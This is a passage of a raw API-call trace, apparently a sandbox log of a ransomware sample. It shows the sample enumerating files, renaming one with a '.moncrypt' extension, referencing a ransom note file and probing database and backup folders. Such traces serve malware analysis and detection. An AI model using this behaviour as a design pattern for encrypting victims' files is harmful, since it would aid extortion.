lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="uí\x18", lpUsedDefaultChar=0x0) returned 1 [0045.832] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="r", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="rí\x18", lpUsedDefaultChar=0x0) returned 1 [0045.832] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="w", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="wí\x18", lpUsedDefaultChar=0x0) returned 1 [0045.832] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="h", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="hí\x18", lpUsedDefaultChar=0x0) returned 1 [0045.832] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e39128, cbMultiByte=34, lpWideCharStr=0x18dd64, cchWideChar=2047 | out: lpWideCharStr="how to recover encrypted files.txt?\x18\x06") returned 34 [0045.832] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrusalm.dat", cchWideChar=63, lpMultiByteStr=0x18dd40, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrusalm.dat", lpUsedDefaultChar=0x0) returned 63 [0045.833] CharLowerBuffW (in: lpsz=".dat", cchLength=0x4 | out: lpsz=".dat") returned 0x4 [0045.833] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".dat", cchWideChar=4, lpMultiByteStr=0x18dd64, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".datShared\\ink\\hwrusalm.dat", lpUsedDefaultChar=0x0) returned 4 [0045.833] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrusalm.dat", lpFindFileData=0x18eb04 | out: lpFindFileData=0x18eb04*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3db89026, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x3db89026, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x3d3cc942, ftLastWriteTime.dwHighDateTime=0x1ca03fa, nFileSizeHigh=0x0, nFileSizeLow=0x30c330, dwReserved0=0x0, dwReserved1=0x0, cFileName="hwrusalm.dat", cAlternateFileName="")) returned 0x54e200 [0045.833] FileTimeToLocalFileTime (in: lpFileTime=0x18eb18, lpLocalFileTime=0x18ea30 | out: lpLocalFileTime=0x18ea30) returned 1 [0045.833] FileTimeToDosDateTime (in: lpFileTime=0x18ea30, lpFatDate=0x18eae6, lpFatTime=0x18eae4 | out: lpFatDate=0x18eae6, lpFatTime=0x18eae4) returned 1 [0045.833] FindClose (in: hFindFile=0x54e200 | out: hFindFile=0x54e200) returned 1 [0045.833] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrusalm.dat", dwFileAttributes=0x20) returned 0 [0045.833] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e699f0, cbMultiByte=9, lpWideCharStr=0x18da40, cchWideChar=2047 | out: lpWideCharStr=".moncrypt") returned 9 [0045.834] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrusalm.dat" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrusalm.dat"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrusalm.dat.moncrypt" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrusalm.dat.moncrypt")) returned 0 [0045.834] FindClose (in: hFindFile=0x54e1c0 | out: hFindFile=0x54e1c0) returned 1 [0045.834] GlobalLock (hMem=0x44000c) returned 0x550170 [0045.834] GlobalHandle (pMem=0x550170) returned 0x44000c [0045.834] GlobalUnlock (hMem=0x44000c) returned 0 [0045.834] GlobalLock (hMem=0x44000c) returned 0x550170 [0045.834] GlobalLock (hMem=0x440004) returned 0x552180 [0045.834] GlobalHandle (pMem=0x550170) returned 0x44000c [0045.834] GlobalUnlock (hMem=0x44000c) returned 0 [0045.834] GlobalHandle (pMem=0x552180) returned 0x440004 [0045.834] GlobalUnlock (hMem=0x440004) returned 0 [0045.834] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e61d28, cbMultiByte=3, lpWideCharStr=0x18ddd8, cchWideChar=2047 | out: lpWideCharStr="*.* SQL Server Compact Edition\\ition\\") returned 3 [0045.834] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\*.*", lpFindFileData=0x18eea4 | out: lpFindFileData=0x18eea4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7545b2, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x3ca734e0, ftLastAccessTime.dwHighDateTime=0x1d5ddc0, ftLastWriteTime.dwLowDateTime=0x3ca734e0, ftLastWriteTime.dwHighDateTime=0x1d5ddc0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x54e1c0 [0045.834] FileTimeToLocalFileTime (in: lpFileTime=0x18eeb8, lpLocalFileTime=0x18edc8 | out: lpLocalFileTime=0x18edc8) returned 1 [0045.834] FileTimeToDosDateTime (in: lpFileTime=0x18edc8, lpFatDate=0x18ee86, lpFatTime=0x18ee84 | out: lpFatDate=0x18ee86, lpFatTime=0x18ee84) returned 1 [0045.834] GlobalLock (hMem=0x440004) returned 0x550170 [0045.834] GlobalHandle (pMem=0x550170) returned 0x440004 [0045.834] GlobalUnlock (hMem=0x440004) returned 0 [0045.834] GlobalLock (hMem=0x440004) returned 0x550170 [0045.834] GlobalLock (hMem=0x44000c) returned 0x552180 [0045.834] GlobalHandle (pMem=0x550170) returned 0x440004 [0045.835] GlobalUnlock (hMem=0x440004) returned 0 [0045.835] GlobalHandle (pMem=0x552180) returned 0x44000c [0045.835] GlobalUnlock (hMem=0x44000c) returned 0 [0045.835] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0045.835] FindNextFileW (in: hFindFile=0x54e1c0, lpFindFileData=0x18eea4 | out: lpFindFileData=0x18eea4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7545b2, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x3ca734e0, ftLastAccessTime.dwHighDateTime=0x1d5ddc0, ftLastWriteTime.dwLowDateTime=0x3ca734e0, ftLastWriteTime.dwHighDateTime=0x1d5ddc0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0045.835] FileTimeToLocalFileTime (in: lpFileTime=0x18eeb8, lpLocalFileTime=0x18edc4 | out: lpLocalFileTime=0x18edc4) returned 1 [0045.835] FileTimeToDosDateTime (in: lpFileTime=0x18edc4, lpFatDate=0x18ee86, lpFatTime=0x18ee84 | out: lpFatDate=0x18ee86, lpFatTime=0x18ee84) returned 1 [0045.835] GlobalLock (hMem=0x44000c) returned 0x551178 [0045.835] GlobalHandle (pMem=0x551178) returned 0x44000c [0045.835] GlobalUnlock (hMem=0x44000c) returned 0 [0045.835] GlobalLock (hMem=0x44000c) returned 0x551178 [0045.835] GlobalLock (hMem=0x440004) returned 0x553188 [0045.835] GlobalHandle (pMem=0x551178) returned 0x44000c [0045.835] GlobalUnlock (hMem=0x44000c) returned 0 [0045.835] GlobalHandle (pMem=0x553188) returned 0x440004 [0045.835] GlobalUnlock (hMem=0x440004) returned 0 [0045.835] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0045.835] FindNextFileW (in: hFindFile=0x54e1c0, lpFindFileData=0x18eea4 | out: lpFindFileData=0x18eea4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6c2bbccc, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0x6c2bbccc, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x90daefa5, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc1486, dwReserved0=0x0, dwReserved1=0x0, cFileName="Alphabet.xml", cAlternateFileName="")) returned 1 [0045.835] FileTimeToLocalFileTime (in: lpFileTime=0x18eeb8, lpLocalFileTime=0x18edc4 | out: lpLocalFileTime=0x18edc4) returned 1 [0045.835] FileTimeToDosDateTime (in: lpFileTime=0x18edc4, lpFatDate=0x18ee86, lpFatTime=0x18ee84 | out: lpFatDate=0x18ee86, lpFatTime=0x18ee84) returned 1 [0045.836] GlobalLock (hMem=0x440004) returned 0x551178 [0045.836] GlobalHandle (pMem=0x551178) returned 0x440004 [0045.836] GlobalUnlock (hMem=0x440004) returned 0 [0045.836] GlobalLock (hMem=0x440004) returned 0x551178 [0045.836] GlobalLock (hMem=0x44000c) returned 0x553188 [0045.836] GlobalHandle (pMem=0x551178) returned 0x440004 [0045.836] GlobalUnlock (hMem=0x440004) returned 0 [0045.836] GlobalHandle (pMem=0x553188) returned 0x44000c [0045.836] GlobalUnlock (hMem=0x44000c) returned 0 [0045.836] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0045.836] FindNextFileW (in: hFindFile=0x54e1c0, lpFindFileData=0x18eea4 | out: lpFindFileData=0x18eea4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7545b2, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7545b2, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7545b2, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ar-SA", cAlternateFileName="")) returned 1 [0045.836] FileTimeToLocalFileTime (in: lpFileTime=0x18eeb8, lpLocalFileTime=0x18edc4 | out: lpLocalFileTime=0x18edc4) returned 1 [0045.836] FileTimeToDosDateTime (in: lpFileTime=0x18edc4, lpFatDate=0x18ee86, lpFatTime=0x18ee84 | out: lpFatDate=0x18ee86, lpFatTime=0x18ee84) returned 1 [0045.836] GlobalLock (hMem=0x44000c) returned 0x551178 [0045.836] GlobalHandle (pMem=0x551178) returned 0x44000c [0045.836] GlobalUnlock (hMem=0x44000c) returned 0 [0045.836] GlobalLock (hMem=0x44000c) returned 0x551178 [0045.836] GlobalLock (hMem=0x440004) returned 0x553188 [0045.836] GlobalHandle (pMem=0x551178) returned 0x44000c [0045.836] GlobalUnlock (hMem=0x44000c) returned 0 [0045.836] GlobalHandle (pMem=0x553188) returned 0x440004 [0045.836] GlobalUnlock (hMem=0x440004) returned 0 [0045.836] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0045.836] GlobalLock (hMem=0x440004) returned 0x551178 [0045.836] GlobalHandle (pMem=0x551178) returned 0x440004 [0045.836] GlobalUnlock (hMem=0x440004) returned 0 [0045.836] GlobalLock (hMem=0x440004) returned 0x551178 [0045.836] GlobalLock (hMem=0x44000c) returned 0x553188 [0045.836] GlobalHandle (pMem=0x551178) returned 0x440004 [0045.836] GlobalUnlock (hMem=0x440004) returned 0 [0045.837] GlobalHandle (pMem=0x553188) returned 0x44000c [0045.837] GlobalUnlock (hMem=0x44000c) returned 0 [0045.837] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0045.837] SysReAllocStringLen (in: pbstr=0x18edc4*=0x0, psz="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ar-SA", len=0x38 | out: pbstr=0x18edc4*="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ar-SA") returned 1 [0045.837] GlobalLock (hMem=0x44000c) returned 0x551178 [0045.837] GlobalHandle (pMem=0x551178) returned 0x44000c [0045.837] GlobalUnlock (hMem=0x44000c) returned 0 [0045.837] GlobalLock (hMem=0x44000c) returned 0x551178 [0045.837] GlobalLock (hMem=0x440004) returned 0x553188 [0045.837] GlobalHandle (pMem=0x551178) returned 0x44000c [0045.837] GlobalUnlock (hMem=0x44000c) returned 0 [0045.837] GlobalHandle (pMem=0x553188) returned 0x440004 [0045.837] GlobalUnlock (hMem=0x440004) returned 0 [0045.837] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=26, lpWideCharStr=0x18da8c, cchWideChar=2047 | out: lpWideCharStr="Microsoft\\Exchange Server\\ct Edition\\T?\x18㱴眵㲣眵脒睘") returned 26 [0045.837] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ar-SA\\Microsoft\\Exchange Server", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x553188, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e69388, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x555198, cFileName="㪀P\xfdee㰒", cAlternateFileName="䱈@꓊R꒞R企@\x18䀴Q\x18\x1b")) returned 0xffffffff [0045.852] GetLastError () returned 0x3 [0045.853] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ar-SA\\", cchLength=0x39 | out: lpsz="c:\\program files\\common files\\microsoft shared\\ink\\ar-sa\\") returned 0x39 [0045.853] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e42920, cbMultiByte=26, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="microsoft\\exchange server\\\x1b") returned 26 [0045.853] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=21, lpWideCharStr=0x18da8c, cchWideChar=2047 | out: lpWideCharStr="Microsoft SQL Server\\rver\\ct Edition\\T?\x18㱴眵㲣眵脒睘") returned 21 [0045.855] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ar-SA\\Microsoft SQL Server", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x553188, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e69388, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x555198, cFileName="㪀P\xfdee㰒", cAlternateFileName="翌R䱠@ꐬR企@\x18권Q\x181")) returned 0xffffffff [0045.857] GetLastError () returned 0x2 [0045.857] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ar-SA\\", cchLength=0x39 | out: lpsz="c:\\program files\\common files\\microsoft shared\\ink\\ar-sa\\") returned 0x39 [0045.857] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e42920, cbMultiByte=21, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="microsoft sql server\\\x18\x15") returned 21 [0045.863] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=9, lpWideCharStr=0x18da8c, cchWideChar=2047 | out: lpWideCharStr="Firebird\\ SQL Server\\rver\\ct Edition\\T?\x18㱴眵㲣眵脒睘") returned 9 [0045.866] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ar-SA\\Firebird", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x553188, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e69388, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x555198, cFileName="㪀P\xfdee㰒", cAlternateFileName="翌R䱠@ꜤR企@\x18?T\x18;")) returned 0xffffffff [0045.867] GetLastError () returned 0x2 [0045.868] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ar-SA\\", cchLength=0x39 | out: lpsz="c:\\program files\\common files\\microsoft shared\\ink\\ar-sa\\") returned 0x39 [0045.868] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e692d0, cbMultiByte=9, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="firebird\\") returned 9 [0045.868] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=8, lpWideCharStr=0x18da8c, cchWideChar=2047 | out: lpWideCharStr="MSSQL.1\\\\ SQL Server\\rver\\ct Edition\\T?\x18㱴眵㲣眵脒睘") returned 8 [0045.868] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ar-SA\\MSSQL.1", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x553188, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e69388, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x555198, cFileName="㪀P\xfdee㰒", cAlternateFileName="翌R䱠@Q企@\x18?T\x18D")) returned 0xffffffff [0045.868] GetLastError () returned 0x2 [0045.868] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ar-SA\\", cchLength=0x39 | out: lpsz="c:\\program files\\common files\\microsoft shared\\ink\\ar-sa\\") returned 0x39 [0045.868] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e692d0, cbMultiByte=8, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="mssql.1\\ ") returned 8 [0045.869] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=37, lpWideCharStr=0x18da8c, cchWideChar=2047 | out: lpWideCharStr="Microsoft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 37 [0045.869] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ar-SA\\Microsoft SQL Server Compact Edition", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x553188, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e69388, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x555198, cFileName="㪀P\xfdee㰒", cAlternateFileName="翌R䱠@ꐬR企@\x18Q\x18j")) returned 0xffffffff [0045.869] GetLastError () returned 0x2 [0045.869] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ar-SA\\", cchLength=0x39 | out: lpsz="c:\\program files\\common files\\microsoft shared\\ink\\ar-sa\\") returned 0x39 [0045.869] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e05ab0, cbMultiByte=37, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="microsoft sql server compact edition\\icrosoft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 37 [0045.869] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=6, lpWideCharStr=0x18da8c, cchWideChar=2047 | out: lpWideCharStr="Adobe\\oft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 6 [0045.869] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ar-SA\\Adobe", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x553188, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e69388, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x555198, cFileName="㪀P\xfdee㰒", cAlternateFileName="翌R䱠@봬R企@\x18?T\x18q")) returned 0xffffffff [0045.869] GetLastError () returned 0x2 [0045.870] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ar-SA\\", cchLength=0x39 | out: lpsz="c:\\program files\\common files\\microsoft shared\\ink\\ar-sa\\") returned 0x39 [0045.870] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e692d0, cbMultiByte=6, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="adobe\\QP") returned 6 [0045.870] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=7, lpWideCharStr=0x18da8c, cchWideChar=2047 | out: lpWideCharStr="Oracle\\ft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 7 [0045.870] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ar-SA\\Oracle", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x553188, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e69388, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x555198, cFileName="㪀P\xfdee㰒", cAlternateFileName="翌R䱠@Q企@\x18?T\x18y")) returned 0xffffffff [0045.870] GetLastError () returned 0x2 [0045.870] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ar-SA\\", cchLength=0x39 | out: lpsz="c:\\program files\\common files\\microsoft shared\\ink\\ar-sa\\") returned 0x39 [0045.870] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e692d0, cbMultiByte=7, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="oracle\\T ") returned 7 [0045.870] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=7, lpWideCharStr=0x18da8c, cchWideChar=2047 | out: lpWideCharStr="Archiveft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 7 [0045.870] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ar-SA\\Archive", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x553188, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e69388, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x555198, cFileName="㪀P\xfdee㰒", cAlternateFileName="翌R䱠@ꜤR企@\x18?T\x18\x81")) returned 0xffffffff [0045.871] GetLastError () returned 0x2 [0045.871] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ar-SA\\", cchLength=0x39 | out: lpsz="c:\\program files\\common files\\microsoft shared\\ink\\ar-sa\\") returned 0x39 [0045.871] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e692d0, cbMultiByte=7, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="archiveT ") returned 7 [0045.871] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=6, lpWideCharStr=0x18da8c, cchWideChar=2047 | out: lpWideCharStr="Backupeft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 6 [0045.871] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ar-SA\\Backup", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x553188, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e69388, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x555198, cFileName="㪀P\xfdee㰒", cAlternateFileName="翌R䱠@봬R企@\x18?T\x18\x88")) returned 0xffffffff [0045.871] GetLastError () returned 0x2 [0045.871] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ar-SA\\", cchLength=0x39 | out: lpsz="c:\\program files\\common files\\microsoft shared\\ink\\ar-sa\\") returned 0x39 [0045.871] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e692d0, cbMultiByte=6, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="backup?T ") returned 6 [0045.871] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=6, lpWideCharStr=0x18da8c, cchWideChar=2047 | out: lpWideCharStr="Reserveft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 6 [0045.871] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ar-SA\\Reserv", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x553188, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e69388, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x555198, cFileName="㪀P\xfdee㰒", cAlternateFileName="翌R䱠@Q企@\x18?T\x18\x8f")) returned 0xffffffff [0045.872] GetLastError () returned 0x2 [0045.872] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ar-SA\\", cchLength=0x39 | out: lpsz="c:\\program files\\common files\\microsoft shared\\ink\\ar-sa\\") returned 0x39 [0045.872] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e692d0, cbMultiByte=6, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="reserv?T ") returned 6 [0045.872] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=7, lpWideCharStr=0x18da8c, cchWideChar=2047 | out: lpWideCharStr="Restoreft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 7 [0045.872] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ar-SA\\Restore", lpFindFileData=0x18e840 | out: 